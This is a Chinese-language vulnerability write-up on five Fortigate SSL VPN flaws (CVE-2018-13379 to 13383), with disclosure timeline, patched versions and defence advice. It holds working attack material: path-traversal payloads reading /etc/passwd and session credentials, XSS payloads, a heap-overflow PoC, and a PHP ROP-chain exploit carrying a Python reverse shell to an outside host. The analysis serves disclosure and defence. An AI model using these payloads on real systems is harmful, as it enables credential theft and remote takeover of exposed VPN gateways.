攻击SSL VPN - 第2部分:打破Fortigate SSL VPN
字数 1958 2025-08-27 12:33:43
Fortigate SSL VPN 漏洞分析与利用技术详解
前言
本文详细分析Fortigate SSL VPN中的多个高危漏洞,包括漏洞原理、利用方法及防护措施。这些漏洞由Meh Chang和Orange Tsai发现,影响范围广泛,涉及全球超过480,000台Fortigate SSL VPN服务器。
Fortigate SSL VPN技术背景
Fortigate SSL VPN是Fortinet公司的远程访问解决方案,具有以下技术特点:
-
一体化二进制设计:
- 所有程序和配置编译成单个二进制文件
/bin/init - 缺乏常规Linux工具(如
ls、cat) - 二进制文件包含数千个无符号函数
- 所有程序和配置编译成单个二进制文件
-
双Web服务架构:
- 管理界面:443端口,由
/bin/httpsd处理 - 用户界面:默认4433端口,由
/bin/sslvpnd处理 - Web服务器基于2002年Apache修改而来
- 管理界面:443端口,由
-
WebVPN功能:
- 支持多种协议代理(HTTP、FTP、RDP等)
- 能够解析和重写HTML中的URL
- 处理WebSocket和Flash等复杂Web资源
漏洞详情
CVE-2018-13379:无需认证任意文件读取
漏洞位置:语言文件加载功能
漏洞原理:
snprintf(s, 0x40, "/migadmin/lang/%s.json", lang);
- 使用
lang参数直接构建文件路径 snprintf最多写入size-1字节,当输入超过缓冲区时.json扩展名会被截断- 导致可以读取任意文件
利用方法:
构造超长lang参数使.json被截断,如:
/lang=../../../../etc/passwdAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
CVE-2018-13380:无需认证XSS漏洞
漏洞位置:
/remote/error/remote/loginredir/message
利用方法:
/remote/error?errmsg=ABABAB--%3E%3Cscript%3Ealert(1)%3C/script%3E
/remote/loginredir?redir=6a6176617363726970743a616c65727428646f63756d656e742e646f6d61696e29
/message?title=x&msg=%26%23<svg/onload=alert(1)>;
CVE-2018-13381:无需认证堆溢出漏洞
漏洞位置:HTML实体编码功能
漏洞原理:
-
编码过程分为两个阶段:
- 计算阶段:确定编码后字符串长度
- 编码阶段:实际编码到缓冲区
-
计算阶段处理
&#前缀不一致:- 计算阶段认为
<已被编码,直接计算长度 - 编码阶段仍会将
<编码为< - 导致缓冲区溢出
- 计算阶段认为
PoC:
import requests
data = {
'title': 'x',
'msg': '&#' + '<'*(0x20000) + ';<',
}
r = requests.post('https://sslvpn:4433/message', data=data)
CVE-2018-13382:magic后门漏洞
漏洞位置:登录页面magic参数
漏洞影响:
- 使用特定字符串作为
magic参数值 - 可修改任意用户密码
- 具体magic字符串未公开
CVE-2018-13383:认证后堆溢出漏洞
漏洞位置:WebVPN的JavaScript解析功能
漏洞原理:
memcpy(buffer, js_buf, js_buf_len);
- 固定大小缓冲区(0x2000)
- 无限制的输入长度
- 可溢出Null字节
触发条件:
- 以普通用户身份登录
- 通过SSL VPN代理访问包含恶意JavaScript的页面
漏洞利用技术
组合利用:CVE-2018-13379 + CVE-2018-13383
步骤1:获取认证凭据
- 利用文件读取漏洞获取session文件:
/remote/lang?lang=../../../../tmp/sess_<session_id> - 从session文件中提取明文用户名和密码
步骤2:获取Shell
- 使用获取的凭据登录系统
- 通过WebVPN访问恶意HTTP服务器上的exploit
- 触发堆溢出控制程序流
堆溢出利用细节
目标结构:SSL结构
- 通过大量SSL连接进行堆喷射
- 溢出覆盖SSL结构中的函数表指针
崩溃点分析:
0x00007fb908d12a77 in SSL_do_handshake ()
=> 0x7fb908d12a77 <SSL_do_handshake+23>: callq *0x60(%rax)
利用链构造:
- 伪造SSL结构,覆盖
method指针 - 设置
handshake_func为栈迁移gadget:push rbx ; or byte [rbx+0x41], bl ; pop rsp ; pop r13 ; pop r14 ; pop rbp ; ret ; - 执行ROP链实现命令执行
PHP PoC:
<?php
function p64($address) {
$low = $address & 0xffffffff;
$high = $address >> 32 & 0xffffffff;
return pack("II", $low, $high);
}
$junk = 0x4141414141414141;
$nop_func = 0x32FC078;
$gadget = p64($junk);
$gadget .= p64($nop_func - 0x60);
$gadget .= p64($junk);
$gadget .= p64(0x110FA1A); // pop r13 ; pop r14 ; pop rbp ; ret ;
$gadget .= p64($junk);
$gadget .= p64($junk);
$gadget .= p64(0x110fa15); // push rbx ; or byte [rbx+0x41], bl ; pop rsp ; pop r13 ; pop r14 ; pop rbp ; ret ;
$gadget .= p64(0x1bed1f6); // pop rax ; ret ;
$gadget .= p64(0x58);
$gadget .= p64(0x04410f6); // add rdi, rax ; mov eax, dword [rdi] ; ret ;
$gadget .= p64(0x1366639); // call system ;
$gadget .= "python -c 'import socket,sys,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((sys.argv[1],12345));[os.dup2(s.fileno(),x) for x in range(3)];os.system(sys.argv[2]);' xx.xxx.xx.xx /bin/sh;";
$p = str_repeat('AAAAAAAA', 1024+512-4); // offset
$p .= $gadget;
$p .= str_repeat('A', 0x1000 - strlen($gadget));
$p .= $gadget;
?>
<a href="javascript:void(0);<?=$p;?>">xxx</a>
利用注意事项:
- 需要多次尝试(因可能破坏关键数据结构)
- Fortigate看门狗会重启崩溃的服务
- 通常1-2分钟内可获得反弹shell
时间线与修复
披露时间线:
- 2018年12月11日:向Fortinet报告
- 2019年3月19日:修复所有漏洞
- 2019年5月24日:公开漏洞信息
修复方案:
升级到以下或更高版本:
- FortiOS 5.4.11
- 5.6.9
- 6.0.5
- 6.2.0
防御建议
- 及时更新:确保所有Fortigate设备运行最新固件版本
- 网络隔离:
- 限制管理界面(443端口)的访问来源
- 对SSL VPN实施网络访问控制
- 监控措施:
- 监控异常文件读取行为
- 检测异常的Web请求模式
- 纵深防御:
- 实施WAF规则阻止XSS和路径遍历尝试
- 对SSL VPN服务实施速率限制
- 密码策略:
- 定期更换密码,特别是漏洞披露后
- 启用多因素认证
总结
Fortigate SSL VPN漏洞展示了企业边界设备的安全风险。这些漏洞组合可导致从无需认证的信息泄露到完整的远程代码执行。由于SSL VPN通常暴露在互联网且具有高权限,此类漏洞对企业安全构成严重威胁。管理员应优先修补这些漏洞,并考虑实施额外的防御层来保护关键远程访问基础设施。